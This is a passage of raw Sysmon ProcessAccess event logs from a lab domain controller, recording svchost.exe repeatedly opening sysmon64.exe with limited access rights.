C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1484,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1485,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1486,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1487,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1488,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1489,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1490,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1491,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 